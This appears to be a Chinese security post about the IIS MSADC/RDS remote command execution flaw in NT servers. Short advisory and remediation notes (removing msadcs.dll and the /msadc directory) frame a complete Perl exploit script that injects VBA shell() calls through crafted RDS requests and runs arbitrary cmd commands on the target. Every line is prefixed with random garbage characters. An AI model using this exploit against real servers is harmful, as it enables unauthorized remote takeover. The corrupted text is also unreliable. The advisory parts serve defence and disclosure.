IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Z'u:Em {6/Yu: ; 涉及程序：
*E"OQs I l Microsoft NT server
4ONou&T $@VQ{S 描述：
;|.~'' : 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
)`4g , W Ep s2 详细：
{j0c)SETN 如果你没有时间读详细内容的话，就删除:
CH`_4UAX% c:\Program Files\Common Files\System\Msadc\msadcs.dll
; aI`4; 有关的安全问题就没有了。
$L@os2 vWGjc2_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
j/C.='?% ;Wo\MN 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
iJ7?6 )\ 关于利用ODBC远程漏洞的描述，请参看:
+ A =*C .b3c n http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b `TA2h Q\! 0V@$ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
*irYSTA$ http://www.microsoft.com/security/bulletins/MS99-025faq.asp n MBKZ n )~9 这里不再论述。
\Y?ByY z }t{bm 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
F74^HQ*J uyp|Xh, /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
wM2[i 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
GadZ!_.f xe=/T# % ya*KA.EGg #将下面这段保存为txt文件，然后: "perl -x 文件名"
' `+GC 9VG McXid~ #!perl
IM^K]$q$47 #
BB>R=kt # MSADC/RDS 'usage' (aka exploit) script
!_ng_,J #
X} -) io # by rain.forest.puppy
<8'-azpJ6< #
t+2!"Jr # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Vk#w J- # beta test and find errors!
RV& =B%w+ $_u9Y! use Socket; use Getopt::Std;
7*a']W{aJ getopts("e:vd:h:XR", \%args);
i6.HR?n 9"jhS0M print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Kt 0
3F$ gbl`_t/ if (!defined $args{h} && !defined $args{R}) {
}8zw| (GR, print qq~
nWyn}+C- Usage: msadc.pl -h <host> { -d <delay> -X -v }
~ .dmfA{ -h <host> = host you want to scan (ip or domain)
7e`ylnP! -d <seconds> = delay between calls, default 1 second
C5W}
o:jE -X = dump Index Server path table, if available
jMH=lQ+8 -v = verbose
"< c,I=A -e = external dictionary file for step 5
UE-+P AW X Bk+ Or a -R will resume a command session
aj$#8l |zu >=WlrmI ~; exit;}
Hp@nxtKxW Kc%GxD` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3fb"1z# if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~0^d-,ZD5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
h" /y$ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;mi +[`E $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Oh|KbM*vS if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=:5 o"g 1U/ dc.x5 if (!defined $args{R}){ $ret = &has_msadc;
&2,0?ra2& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
g aq"+@fH -q8R'?z[ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
y|e@z f . "cmd /c ";
Pf 4b/w/ $in=<STDIN>; chomp $in;
wB~5&:]jr $command="cmd /c " . $in ;
{ ]F };_ ?Ji nX'z if (defined $args{R}) {&load; exit;}
qi& ;2Yv
3g# print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
BbV @ziL &try_btcustmr;
d7*fP S qr K\f print "\nStep 2: Trying to make our own DSN...";
y\M K d[G7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?Tr]zxtd .}O _5b( print "\nStep 3: Trying known DSNs...";
9k`}fk\M &known_dsn;
l?UFe$9( 5g-AB`6T print "\nStep 4: Trying known .mdbs...";
uE }A-\G &known_mdb;
{tN?)~ZQ qoo +=eh! if (defined $args{e}){
~h <<-c print "\nStep 5: Trying dictionary of DSN names...";
uxj x~+qFd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
mHY R? "s!|8F6$ print "Sorry Charley...maybe next time?\n";
Z#1 'ST g exit;
iz0GL&< S=N3qBH6 ##############################################################################
- fB;pS, wUj#ACqB sub sendraw { # ripped and modded from whisker
'Pm.b}p< sleep($delay); # it's a DoS on the server! At least on mine...
CBVL/pxy my ($pstr)=@_;
#ox &=MY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~kJ}Z<e die("Socket problems\n");
Q , `:RF3 if(connect(S,pack "SnA4x8",2,80,$target)){
|BC/ERm s select(S); $|=1;
A0@E^bG print $pstr; my @in=<S>;
He}uE0 ^ select(STDOUT); close(S);
p :/#nmC< return @in;
&Oxf^x["] } else { die("Can't connect...\n"); }}
!L=RhMI +'@j~\>^yJ ##############################################################################
6N<v&7cSB 2j UEL=+Y sub make_header { # make the HTTP request
WkF60'Hf my $msadc=<<EOT
[`]h23vRW POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`>
:^c User-Agent: ACTIVEDATA
Vp.&X 8 Host: $ip
a
S t Content-Length: $clen
] c=nkS Connection: Keep-Alive
"3r7/>xy PE\.J U ADCClientVersion:01.06
,ezC}V0 M Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
d`g)(* \a}_=O --!ADM!ROX!YOUR!WORLD!
U =G}@Y Content-Type: application/x-varg
q5UD!& W Content-Length: $reqlen
n$03 ##pf A'=,q
EOT
h,(f3Ik0O ; $msadc=~s/\n/\r\n/g;
(z:DTe return $msadc;}
YWXY 4*G EW :tb-%` ##############################################################################
Wj}PtQ%lp/ V(5=-8k sub make_req { # make the RDS request
|RA|nu
my ($switch, $p1, $p2)=@_;
G)S (a4 my $req=""; my $t1, $t2, $query, $dsn;
ayR; |S cj5; X K if ($switch==1){ # this is the btcustmr.mdb query
!gKz=-C $query="Select * from Customers where City=" . make_shell();
=rB=! ; $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
R'Uw17I $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
JR_s-& GaM \{RMj"w: elsif ($switch==2){ # this is general make table query
>cV^f6fH $query="create table AZZ (B int, C varchar(10))";
] C&AU[U* $dsn="$p1";}
:1 Y *&s nz}} m^-j elsif ($switch==3){ # this is general exploit table query
bFv,.(h' $query="select * from AZZ where C=" . make_shell();
4uV, $/ $dsn="$p1";}
M`=bJO: O 7x'q<PFU elsif ($switch==4){ # attempt to hork file info from index server
{=q$k=ib $query="select path from scope()";
i"HENJyCb $dsn="Provider=MSIDXS;";}
M<
1rQW' jlA?JB elsif ($switch==5){ # bad query
8e:\T.)M $query="select";
_Dv< $dsn="$p1";}
M#U #I :z% e]qbh_A $t1= make_unicode($query);
(0c L!
N;; $t2= make_unicode($dsn);
bY>JLRQJ- $req = "\x02\x00\x03\x00";
c@ea
;Cv $req.= "\x08\x00" . pack ("S1", length($t1));
O*:8gu'Y2 $req.= "\x00\x00" . $t1 ;
|LwW/>I $req.= "\x08\x00" . pack ("S1", length($t2));
B4>kx#LR $req.= "\x00\x00" . $t2 ;
ZnVx 'Y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
VY#:IE:T return $req;}
|rhCQ"H )= :gO`"D ##############################################################################
@ a $HJ : TSp;Vr OP sub make_shell { # this makes the shell() statement
bTrQ(qp return "'|shell(\"$command\")|'";}
-2\%?A6L j 0]| $p ##############################################################################
/;K?Y#mf~j fho$: S sub make_unicode { # quick little function to convert to unicode
[tP6FdS/M= my ($in)=@_; my $out;
i]L4kh5 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
G9_M~N%a return $out;}
&E{i#r)'T TX%W-J _ ##############################################################################
>@T(^=Q u QYBq)p| sub rdo_success { # checks for RDO return success (this is kludge)
xwm-)~L4T my (@in) = @_; my $base=content_start(@in);
HfN:oww if($in[$base]=~/multipart\/mixed/){
49;2tl;F return 1 if( $in[$base+10]=~/^\x09\x00/ );}
)RFE<
Qcj return 0;}
-T 5$l r8 uc. z2% ##############################################################################
t622b?w Z#i5=,Bk sub make_dsn { # this makes a DSN for us
! 54(K6a[ my @drives=("c","d","e","f");
,M)NC%0X print "\nMaking DSN: ";
"V> 7u{T foreach $drive (@drives) {
#;#r4sJwU print "$drive: ";
L+b"d3!G&% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
F9Bj$`#) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Rw R.*?# . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G.}Ex!8R7_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
U_/<tWl\[3 return 0 if $2 eq "404"; # not found/doesn't exist
6$l6 >A if($2 eq "200") {
@NY$.K#] foreach $line (@results) {
4=T>Iy return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
c/g"/ICs } return 0;}
2Y+8!4^L
a N)0I+>, ^ ##############################################################################
>~% _ U+6 ~Xf&<&5d T sub verify_exists {
HxgH* IMs my ($page)=@_;
=u+.o<
my @results=sendraw("GET $page HTTP/1.0\n\n");
N-+`[8@(P< return $results[0];}
6kc/ #f 4" ##############################################################################
k/|j e~$ 3cp"UU }. sub try_btcustmr {
wU|Y`wJmF my @drives=("c","d","e","f");
" * Qwaq_ my @dirs=("winnt","winnt35","winnt351","win","windows");
v8< MAq
Fs bX{ foreach $dir (@dirs) {
NyJ=^=F# print "$dir -> "; # fun status so you can see progress
@$ea-fK?? foreach $drive (@drives) {
d_5wMK6O6 print "$drive: "; # ditto
6-'Y* $reqlen=length( make_req(1,$drive,$dir) ) - 28;
g@ ZZcBx $reqlenlen=length( "$reqlen" );
'x-PQQ $clen= 206 + $reqlenlen + $reqlen;
1HBdIWhHv. vT7ei"~&u my @results=sendraw(make_header() . make_req(1,$drive,$dir));
I2b\[d if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
e?&4; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
m9Z 3q ; =}12S:Qhj ##############################################################################
,B,2t u2 tvC7LL NP< sub odbc_error {
j})6O! L. my (@in)=@_; my $base;
(:p&[HNuN my $base = content_start(@in);
P9wx`x""k if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
m;v/(d> $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8")1, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3j2% '$>E^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jx=2^A/i2- return $in[$base+4].$in[$base+5].$in[$base+6];}
ZA;wv+hF= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)I`6XG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-9 AI@^q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
T]5JsrT a*8^M\ >m4 ##############################################################################
CENA!WWQ C7 ]K9 sub verbose {
/}]Irj4m my ($in)=@_;
}
r#by%P return if !$verbose;
}tIIA"dZ print STDOUT "\n$in\n";}
@ jE<V=? =;1MpD ##############################################################################
^[d|^fRH Q e/?>6'6 5 sub save {
jocu=Se@ my ($p1, $p2, $p3, $p4)=@_;
4Qr16,Us open(OUT, ">rds.save") || print "Problem saving parameters...\n";
|7jUf$Q\p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
l6 X\. oI close OUT;}
!5~{ ?sr> 4g.y$ ##############################################################################
:EK.&% 2 LWb5C{ sub load {
T/^ /U6JB my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
# _ tixg open(IN,"<rds.save") || die("Couldn't open rds.save\n");
v :YW[THre @p=<IN>; close(IN);
]hBp
elK J $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
F1@gYNbI, $target= inet_aton($ip) || die("inet_aton problems");
PZQb.QAn print "Resuming to $ip ...";
(aX5VB ** $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w*})ZYIUT if($p[1]==1) {
1or4s{bmo $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
H1,;Xrm $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
aF:_ 1. LC my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
N'fE^jqU if (rdo_success(@results)){print "Success!\n";}
Os?`!1- else { print "failed\n"; verbose(odbc_error(@results));}}
3N) b J elsif ($p[1]==3){
3B(6^iS if(run_query("$p[3]")){
Og`6>?>97 print "Success!\n";} else { print "failed\n"; }}
zL @ZNH elsif ($p[1]==4){
xQ
`>\f if(run_query($drvst . "$p[3]")){
29?{QJb print "Success!\n"; } else { print "failed\n"; }}
/x6,"M[97 exit;}
,H3~mq] xj/ +Z!,9 ##############################################################################
nQc ]f* Ojx1IL sub create_table {
v ZM.gn my ($in)=@_;
!\a'GO[ $reqlen=length( make_req(2,$in,"") ) - 28;
9HlRf6S $reqlenlen=length( "$reqlen" );
F*F
U[ 5 $clen= 206 + $reqlenlen + $reqlen;
a
X >bC- my @results=sendraw(make_header() . make_req(2,$in,""));
BzqM$F(
L, return 1 if rdo_success(@results);
sskwJu1 my $temp= odbc_error(@results); verbose($temp);
( Ck |RojC return 1 if $temp=~/Table 'AZZ' already exists/;
6xs_@Vk|d return 0;}
/-wAy-W ?hh 4M ##############################################################################
HR55|`]
;zD1#dD sub known_dsn {
fA
u^%jiU # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-.| V S|y my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
C?e1 a9r "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.0:t wj "banner", "banners", "ads", "ADCDemo", "ADCTest");
nf5Ld"|%9 V `V
Z[ foreach $dSn (@dsns) {
k0{5)Su"xr print ".";
"-Lbz ) k next if (!is_access("DSN=$dSn"));
W9~vBU if(create_table("DSN=$dSn")){
!3{>
F " print "$dSn successful\n";
C>q,c3s5 if(run_query("DSN=$dSn")){
g_G'%{T7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2*6b{}yJH print "Something's borked. Use verbose next time\n";}}} print "\n";}
/jQW4 eW0 *KO 4H ##############################################################################
6,sZo!G /wB< 1b" sub is_access {
#A l.Itj my ($in)=@_;
uI7 d?s $reqlen=length( make_req(5,$in,"") ) - 28;
+B$ o 8V $reqlenlen=length( "$reqlen" );
C PV R $clen= 206 + $reqlenlen + $reqlen;
}vkrWy^ my @results=sendraw(make_header() . make_req(5,$in,""));
|->{N U Z{ my $temp= odbc_error(@results);
(&4aebkZO verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Lrgv:n return 0;}
lzz rzx^ ` 1F[.DdF ##############################################################################
>&mlwxqv "VxZnT sub run_query {
,[}5 @cS my ($in)=@_;
Kd8V,teH $reqlen=length( make_req(3,$in,"") ) - 28;
dUOvv/,FZT $reqlenlen=length( "$reqlen" );
kAbRXID $clen= 206 + $reqlenlen + $reqlen;
[ Y_6PR my @results=sendraw(make_header() . make_req(3,$in,""));
Ycypd\q/ return 1 if rdo_success(@results);
*ktM<N58 my $temp= odbc_error(@results); verbose($temp);
OPR+ K ? return 0;}
r>1M&Y=< $\l7aA 5~ ##############################################################################
TTaSg \K 9^Q: l0| sub known_mdb {
*a* \E
R my @drives=("c","d","e","f","g");
a;J{'PHu my @dirs=("winnt","winnt35","winnt351","win","windows");
5
T1M:~u i my $dir, $drive, $mdb;
Q}~of}h/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Z -`j)3Y JnCp'` # this is sparse, because I don't know of many
0[@ 9f1Nk4 my @sysmdbs=( "\\catroot\\icatalog.mdb",
c#M 'Mye "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(.,`<rXw "\\system32\\certmdb.mdb",
\TS t "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3!M;Z7qF] :B?XNo my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
oR>o/$z$)g "\\cfusion\\cfapps\\forums\\forums_.mdb",
;/#E!Ja/ u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
YB/A0 J "\\cfusion\\cfapps\\security\\realm_.mdb",
T_b k% "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Tx%6whd/' "\\cfusion\\database\\cfexamples.mdb",
&K5 wCNX1 "\\cfusion\\database\\cfsnippets.mdb",
1\:puC\) "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
R{.5Z/Vp6E "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Fx2z lM& "\\cfusion\\brighttiger\\database\\cleam.mdb",
e0%?;w-TL "\\cfusion\\database\\smpolicy.mdb",
_Z'j%/-4@D "\\cfusion\\database\cypress.mdb",
} )O ^xF ~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/gZrnd? "\\website\\cgi-win\\dbsample.mdb",
Qhb].V{utV "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0UeDM* "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
SovK|b & ); #these are just
4Y5Q>2D} foreach $drive (@drives) {
B RF=TL5Z foreach $dir (@dirs){
fyIL/7hzf4 foreach $mdb (@sysmdbs) {
Xxcv 5.ug print ".";
"/Fp_g6#: if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_V6jn~N print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`An`"$z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8FyJo.vr( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
E\Hhi.- } else { print "Something's borked. Use verbose next time\n"; }}}}}
{"l_x]q Z.+-MN WV foreach $drive (@drives) {
L6yRN>5a E foreach $mdb (@mdbs) {
EzOO6 print ".";
2@ vSe if(create_table($drv . $drive . $dir . $mdb)){
xoI;s}*E print "\n" . $drive . $dir . $mdb . " successful\n";
[{ e[3b*M| if(run_query($drv . $drive . $dir . $mdb)){
2% "2~d7 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}Z*@EWc> } else { print "Something's borked. Use verbose next time\n"; }}}}
az@{O4 }
0qXd?z $ J
>Zd0Dn ##############################################################################
/v"u4Ipj U^SJWYi<Y sub hork_idx {
mMm_=cfv print "\nAttempting to dump Index Server tables...\n";
~Emeo&X print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3eQ-P8LS $reqlen=length( make_req(4,"","") ) - 28;
dABmK; $reqlenlen=length( "$reqlen" );
sh(G{Yz@ $clen= 206 + $reqlenlen + $reqlen;
#?.Yc%5B my @results=sendraw2(make_header() . make_req(4,"",""));
@0A7d
$J( if (rdo_success(@results)){
@mBZu !, my $max=@results; my $c; my %d;
Ub=g<MYHV for($c=19; $c<$max; $c++){
Cw]& B $results[$c]=~s/\x00//g;
/gT$ d2{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
hXdc5 ?i? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
mxsmW $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
+c5z-X$^] $d{"$1$2"}="";}
{aP5Mem foreach $c (keys %d){ print "$c\n"; }
DK 4 8 } else {print "Index server doesn't seem to be installed.\n"; }}
62K 7afH T{v(B["!$ ##############################################################################
,-^Grmr4M O_aZ\28};C sub dsn_dict {
AFO g*{1 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
}z6@Z#%q while(<IN>){
(3YCe { $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
xWlj.Tjt} next if (!is_access("DSN=$dSn"));
T6MlKcw,t if(create_table("DSN=$dSn")){
tr 0P ;}= print "$dSn successful\n";
{vh}f+2 if(run_query("DSN=$dSn")){
FOiwB^$ > print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2iHD$tw print "Something's borked. Use verbose next time\n";}}}
2= 'gC|&s6 print "\n"; close(IN);}
;n_ |t/= {h/[!I ` ##############################################################################
U8L%=/N>B DJ;il)^ sub sendraw2 { # ripped and modded from whisker
x>vC;E${" sleep($delay); # it's a DoS on the server! At least on mine...
f<WP< !N% my ($pstr)=@_;
i-[ic!RnKj socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>2l1t}"\ die("Socket problems\n");
5Z/x Y & if(connect(S,pack "SnA4x8",2,80,$target)){
c'n EbelE print "Connected. Getting data";
/tI8JXcUK open(OUT,">raw.out"); my @in;
O@r%G0Jge select(S); $|=1; print $pstr;
UN#XP$utY while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
~pA_E!3W close(OUT); select(STDOUT); close(S); return @in;
. (G9mZFV } else { die("Can't connect...\n"); }}
*4#)or ,.[T]37 ##############################################################################
$Kgw6 S~L$sqt sub content_start { # this will take in the server headers
rC.z772y% my (@in)=@_; my $c;
{]1o( $.u for ($c=1;$c<500;$c++) {
Yl%1e|WV if($in[$c] =~/^\x0d\x0a/){
`>&V_^y+ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
a;JB8 else { return $c+1; }}}
(A(7?eq return -1;} # it should never get here actually
p>Dv&fX y<(q<V#0!S ##############################################################################
!g A <9h *YmR7g |k sub funky {
sFv68Ag+ my (@in)=@_; my $error=odbc_error(@in);
Z18T<e if($error=~/ADO could not find the specified provider/){
nNJU@<|{* print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?g
gl8bzA exit;}
GlkTpX^b if($error=~/A Handler is required/){
rOd<nP^`\ print "\nServer has custom handler filters (they most likely are patched)\n";
^=:e9i3u exit;}
_ u TaN if($error=~/specified Handler has denied Access/){
-t~l!! N( print "\nServer has custom handler filters (they most likely are patched)\n";
ApHs`0=( exit;}}
+{U0PI82 A\p'\@f ##############################################################################
]OIB;h;3 Zp@j*P sub has_msadc {
:YaEMQJ^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
.CGP G,\2 my $base=content_start(@results);
G"P@AOw return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Kv ENH=oh return 0;}
J' c]':U u6^cLQO+ ########################
iJ n< x"xl3dRu ?'ID7mL 解决方案：
r
>bMx~a] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
9 1%QO?hz 2、移除web 目录: /msadc
